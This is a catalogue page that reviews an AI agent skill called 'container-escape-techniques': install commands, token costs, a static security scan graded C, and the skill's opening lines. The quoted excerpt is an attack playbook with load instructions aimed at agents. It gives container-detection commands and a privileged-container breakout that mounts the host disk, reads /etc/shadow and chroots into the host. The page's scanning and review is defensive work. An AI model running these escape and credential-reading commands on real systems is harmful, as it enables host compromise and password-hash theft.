Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill container-escape-techniquesgit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/container-escape-techniques)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/container-escape-techniques"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/container-escape-techniques/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/container-escape-techniques"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/container-escape-techniques.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00052 | $0.02687 |
| Opus 5.5 | $0.00021 | $0.01075 |
| Sonnet 5.5 | $0.00010 | $0.00537 |
| Haiku 4.5 | $0.00005 | $0.00269 |
Grade C, and why
container-escape-techniques scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cat /mnt/host/etc/shadow Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# Without CLI (curl only) — create privileged container via API: This is a copy
100% identical to container-escape-techniques — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 340 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Container Escape Techniques — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation when you first need root inside the container before attempting escape
- kubernetes-pentesting for K8s-specific attack paths beyond pod escape
- linux-security-bypass when seccomp/AppArmor blocks your escape technique
Advanced Reference
Also load DOCKER_ESCAPE_CHAINS.md when you need:
- Step-by-step escape chains for common misconfigurations
- Docker-in-Docker escape scenarios
- Kubernetes-specific escape paths with full command sequences
1. AM I IN A CONTAINER?
# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname # random hex = likely container
# Detailed check
cat /proc/1/status | head -5 # PID 1 is not systemd/init?
mount | grep -i "overlay" # overlay filesystem?
ip addr # veth interface? limited NICs?
Tools for Container Detection
# amicontained: shows container runtime, capabilities, seccomp
./amicontained
# deepce: Docker enumeration and exploit suggester
./deepce.sh
# CDK: all-in-one container pentesting toolkit
./cdk evaluate
2. PRIVILEGED CONTAINER ESCAPE
If --privileged flag was used, the container has nearly all host capabilities and device access.
2.1 Mount Host Filesystem
# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1
# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 340 lines · 52 tokens per session scan C 7ab2698347f0
container-escape-techniques is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 52 tokens to every session and 2,687 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). It is 100% identical to container-escape-techniques, differing in 0 lines, and is treated as a copy.
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